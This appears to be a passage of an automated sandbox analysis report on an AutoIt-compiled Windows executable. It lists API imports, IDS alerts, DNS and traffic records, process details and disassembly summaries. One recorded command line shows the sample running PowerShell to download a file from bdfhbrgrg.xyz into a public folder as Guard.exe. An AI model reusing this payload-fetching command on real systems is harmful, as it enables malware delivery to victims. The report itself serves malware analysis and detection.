FreeEnvironmentStringsW, SetEnvironmentVariableA, CloseHandle, WriteConsoleW, MoveFileW, RtlCaptureContext
USER32.dll	GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetWindowLongW, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongPtrW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, SetWindowLongPtrW, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, IsCharUpperW, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, GetClipboardData, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, IsCharLowerW, IsCharAlphaNumericW, IsCharAlphaW, GetKeyboardLayoutNameW, ClientToScreen, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, SetMenuDefaultItem, CloseClipboard, GetWindowRect, SetUserObjectSecurity, IsClipboardFormatAvailable, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, OpenClipboard, GetWindowLongPtrW
GDI32.dll	EndPath, DeleteObject, GetDeviceCaps, ExtCreatePen, StrokePath, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, GetTextExtentPoint32W, CreateCompatibleBitmap, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StretchBlt, SelectObject, CreateCompatibleDC, StrokeAndFillPath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegSetValueExW, GetSecurityDescriptorDacl, GetAclInformation, RegCreateKeyExW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW, GetUserNameW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	VariantChangeType, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, VariantTimeToSystemTime, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, VariantInit, VariantClear, VariantCopy, SysAllocString, SafeArrayCreateVector, VarR8FromDec, SafeArrayAllocDescriptorEx, SafeArrayAllocData, SysStringLen, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, SysReAllocString, SafeArrayAccessData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-05T08:44:51.281623+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 08:44:11.694056988 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:44:11.694093943 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:44:11.694159985 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:44:11.704973936 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:44:11.704992056 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:44:12.236574888 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:44:12.236634016 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:44:12.243561983 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:44:12.243578911 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:44:12.243872881 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:44:12.259826899 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:44:12.303334951 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:44:51.281652927 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:44:51.281747103 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:44:51.281932116 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:44:51.292736053 CET	49704	443	192.168.2.5	188.114.96.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 08:44:11.665064096 CET	51309	53	192.168.2.5	1.1.1.1
Jan 5, 2025 08:44:11.682395935 CET	53	51309	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 08:44:11.665064096 CET	192.168.2.5	1.1.1.1	0xd24	Standard query (0)	bdfhbrgrg.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 08:44:11.682395935 CET	1.1.1.1	192.168.2.5	0xd24	No error (0)	bdfhbrgrg.xyz		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 5, 2025 08:44:11.682395935 CET	1.1.1.1	192.168.2.5	0xd24	No error (0)	bdfhbrgrg.xyz		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bdfhbrgrg.xyz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.96.3	443	4996	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 07:44:12 UTC	166	OUT	GET /ImldXigH HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: bdfhbrgrg.xyz Connection: Keep-Alive
2025-01-05 07:44:51 UTC	944	IN	HTTP/1.1 522 Date: Sun, 05 Jan 2025 07:44:51 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Q5ojSVhqxEPVqUe3LUMRjwm4y4V2QNMz%2BL4PSVOBEjSKVCUht5QjEzD%2F0d6HecwjTOoiBpaSLSbPeCyI7LbvS8vSCQSPvt08hZ3GSMSpJaKHcxhg8acBKpc9rgFWgNk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8fd1d77cefde41c6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1734&min_rtt=1729&rtt_var=658&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=780&delivery_rate=1649717&cwnd=204&unsent_bytes=0&cid=7bb6ffb16a14ad40&ts=39118&x=0"
2025-01-05 07:44:51 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Target ID:	0
Start time:	02:44:07
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\elyho3x5zz.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\elyho3x5zz.exe"
Imagebase:	0x7ff73a1d0000
File size:	1'083'904 bytes
MD5 hash:	69931884C719A49700D9B1921E915ED0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:44:07
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe""
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:44:07
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.1%
Total number of Nodes:	1153
Total number of Limit Nodes:	45

Executed Functions

Function 00007FF73A1D37B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF73A1D3785), ref: 00007FF73A1D37F2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF73A1D3785), ref: 00007FF73A1D3807
GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF73A1D3785), ref: 00007FF73A1D388D

Part of subcall function 00007FF73A1D3F9C: GetFullPathNameW.KERNEL32(D000000000000000,00007FF73A1D38BF,?,?,?,?,?,00007FF73A1D3785), ref: 00007FF73A1D3FFD

SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF73A1D3785), ref: 00007FF73A1D3924
MessageBoxA.USER32 ref: 00007FF73A21B888
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF73A1D3785), ref: 00007FF73A21B8E1
GetForegroundWindow.USER32(?,?,?,?,?,00007FF73A1D3785), ref: 00007FF73A21B968
ShellExecuteW.SHELL32 ref: 00007FF73A21B98F

Part of subcall function 00007FF73A1D3B84: GetSysColorBrush.USER32 ref: 00007FF73A1D3B9E
Part of subcall function 00007FF73A1D3B84: LoadCursorW.USER32 ref: 00007FF73A1D3BAE
Part of subcall function 00007FF73A1D3B84: LoadIconW.USER32 ref: 00007FF73A1D3BC3
Part of subcall function 00007FF73A1D3B84: LoadIconW.USER32 ref: 00007FF73A1D3BDC
Part of subcall function 00007FF73A1D3B84: LoadIconW.USER32 ref: 00007FF73A1D3BF5
Part of subcall function 00007FF73A1D3B84: LoadImageW.USER32 ref: 00007FF73A1D3C21
Part of subcall function 00007FF73A1D3B84: RegisterClassExW.USER32 ref: 00007FF73A1D3C85

Part of subcall function 00007FF73A1D3CBC: CreateWindowExW.USER32 ref: 00007FF73A1D3D0C
Part of subcall function 00007FF73A1D3CBC: CreateWindowExW.USER32 ref: 00007FF73A1D3D5F
Part of subcall function 00007FF73A1D3CBC: ShowWindow.USER32 ref: 00007FF73A1D3D75

Part of subcall function 00007FF73A1D6258: Shell_NotifyIconW.SHELL32 ref: 00007FF73A1D6350

Strings

runas, xrefs: 00007FF73A21B973
This is a third-party compiled AutoIt script., xrefs: 00007FF73A21B87F

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Load$IconWindow$CurrentDirectory$CreateFullNamePath$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell_Show
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 1593035822-3287110873
Opcode ID: 687d5aa74b75c3fb8b6edfb8cb33900bb1dfa26bff14e5511f16aedfd4cdf8c2
Instruction ID: 3795b7ccaaba7f542e21070a57eaca89adfc61aff7aa86a56ded5c9f9856dc9e
Opcode Fuzzy Hash: 687d5aa74b75c3fb8b6edfb8cb33900bb1dfa26bff14e5511f16aedfd4cdf8c2
Instruction Fuzzy Hash: 3F713C6A91C983B5FA20BB64E8421F9E765BF81754FC001B5E58D461A6DF2CE609F330

Function 00007FF73A1D6580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE ref: 00007FF73A1D674B
FindResourceExW.KERNEL32 ref: 00007FF73A1D676B
LoadResource.KERNEL32 ref: 00007FF73A21C985
SizeofResource.KERNEL32 ref: 00007FF73A21C99E
LockResource.KERNEL32 ref: 00007FF73A21C9B1

Strings

EA06, xrefs: 00007FF73A21CA59
SCRIPT, xrefs: 00007FF73A1D675D
AU3!, xrefs: 00007FF73A1D65D8

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: AU3!$EA06$SCRIPT
API String ID: 3051347437-2925976212
Opcode ID: 2a37f8564f4c8a4eeb189e72451b06d9c699f805bbd4e08f379393b5199a872e
Instruction ID: 0ec5c84ab82e927ceca2217b540f92b68d32ded45f1416ccadfa8c2414be9a49
Opcode Fuzzy Hash: 2a37f8564f4c8a4eeb189e72451b06d9c699f805bbd4e08f379393b5199a872e
Instruction Fuzzy Hash: 0691107BB2964196FB20EB21A446ABCB7B5BB44B84F814172DE6D47781DF3CE404A320

Function 00007FF73A1F1D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32 ref: 00007FF73A1F1DC8
GetCurrentProcess.KERNEL32 ref: 00007FF73A1F1F42
IsWow64Process.KERNEL32 ref: 00007FF73A1F1F52
GetSystemInfo.KERNELBASE ref: 00007FF73A1F1F8B

Strings

|O, xrefs: 00007FF73A23954C

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Process$CurrentInfoSystemVersionWow64
String ID: |O
API String ID: 1568231622-607156228
Opcode ID: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction ID: d0846c6bd326514784ef03bca828dc63b6e13d5c9634e6db698e8f62aba0cd5d
Opcode Fuzzy Hash: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction Fuzzy Hash: 5CD1A129E1E6C2A5F670AB15A81317AF760AF92784FC001F5DACD062A5DF6CB504F731

Function 00007FF73A24C7C0 Relevance: 6.0, APIs: 4, Instructions: 24filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00007FF73A24C7CC
GetFileAttributesW.KERNELBASE ref: 00007FF73A24C7E0
FindFirstFileW.KERNELBASE ref: 00007FF73A24C7F3
FindClose.KERNEL32 ref: 00007FF73A24C802

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
Instruction ID: 0590e8c466db258f60a67147a9e7c2e127cd7b8cef009ca8e7f385f7e064331c
Opcode Fuzzy Hash: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
Instruction Fuzzy Hash: 9DF08218E08712D1FA656B28B80E338A360AFC1B75FD44370E47F462E4DF6CD4987610

Function 00007FF73A1D7920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF73A1D5680: GetModuleFileNameW.KERNEL32(?,00007FF73A1D7A0C,?,?,?,00007FF73A1D109E), ref: 00007FF73A1D569F

Part of subcall function 00007FF73A1F3A38: GetFullPathNameW.KERNEL32(?,00007FF73A1D7A1B,?,?,?,00007FF73A1D109E), ref: 00007FF73A1F3A5F

RegOpenKeyExW.KERNELBASE(?,?,?,00007FF73A1D109E), ref: 00007FF73A1D7A75
RegQueryValueExW.ADVAPI32(?,?,?,00007FF73A1D109E), ref: 00007FF73A21D081
RegQueryValueExW.ADVAPI32(?,?,?,00007FF73A1D109E), ref: 00007FF73A21D0E9
RegCloseKey.ADVAPI32(?,?,?,00007FF73A1D109E), ref: 00007FF73A21D138
wcscat.LIBCMT ref: 00007FF73A21D19E
wcscat.LIBCMT ref: 00007FF73A21D1CF

Strings

\Include\, xrefs: 00007FF73A1D7A1B
Include, xrefs: 00007FF73A21D06F, 00007FF73A21D0D2
Software\AutoIt v3\AutoIt, xrefs: 00007FF73A1D7A64

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: NameQueryValuewcscat$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\Include\
API String ID: 2667193904-1575078665
Opcode ID: 295aa6e3056577020a18fb2233550ef2ad9e2162ae18efbe058a416b4de70f32
Instruction ID: ba538910ec74a8bc9ab78143560558a54e85cb008f1a7c353ac1191c41155736
Opcode Fuzzy Hash: 295aa6e3056577020a18fb2233550ef2ad9e2162ae18efbe058a416b4de70f32
Instruction Fuzzy Hash: 2A913C2AA18A82A5FB10BB24E8420B9F364FFC4744FC01272E58D46AA5EF6CD545F721

Function 00007FF73A1D5DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32 ref: 00007FF73A1D5E76
KillTimer.USER32 ref: 00007FF73A1D5EB1
SetTimer.USER32 ref: 00007FF73A1D5ED9
RegisterWindowMessageW.USER32 ref: 00007FF73A1D5EE6
CreatePopupMenu.USER32 ref: 00007FF73A1D5EFC
PostQuitMessage.USER32 ref: 00007FF73A1D5F23

Strings

TaskbarCreated, xrefs: 00007FF73A1D5EDF

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
Instruction ID: 2cd94041480b0fb388e100e482e843c06373b9d63b8c965817da33eb84b39f99
Opcode Fuzzy Hash: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
Instruction Fuzzy Hash: 8C514B3AD0C657A6F620BB14F847179F765AF95B90FC404B1D48D826AADE6CF504B330

Function 00007FF73A1D3D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF73A1D3DE5
RegisterClassExW.USER32 ref: 00007FF73A1D3E16
RegisterWindowMessageW.USER32 ref: 00007FF73A1D3E2A
InitCommonControlsEx.COMCTL32 ref: 00007FF73A1D3E48
ImageList_Create.COMCTL32 ref: 00007FF73A1D3E63
LoadIconW.USER32 ref: 00007FF73A1D3E7C
ImageList_ReplaceIcon.COMCTL32 ref: 00007FF73A1D3E8F

Strings

TaskbarCreated, xrefs: 00007FF73A1D3E1C
AutoIt v3 GUI, xrefs: 00007FF73A1D3DF8

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-2659433951
Opcode ID: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction ID: 64ffdbd322ca009c7f6b03dc590aecbff5a36351d3a13a0ae44361a9d9bd3f25
Opcode Fuzzy Hash: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction Fuzzy Hash: 14315A3AA08B01AAF700DF60E8453A977B8FB84748F900178DA9D57B64DF7CD159EB50

Function 00007FF73A1EE958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM ref: 00007FF73A1EE9C3
OleUninitialize.OLE32 ref: 00007FF73A1EEABF
UnregisterHotKey.USER32(?,?,?,00007FF73A1EE939), ref: 00007FF73A1EECD9
DestroyWindow.USER32(?,?,?,00007FF73A1EE939), ref: 00007FF73A2327E4

Strings

close all, xrefs: 00007FF73A1EE9B7

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: DestroySendStringUninitializeUnregisterWindow
String ID: close all
API String ID: 1992507300-3243417748
Opcode ID: 68229fdcb89769e1228b851cc7905b8c17c6978382eb60648c185bbdcfdab8ab
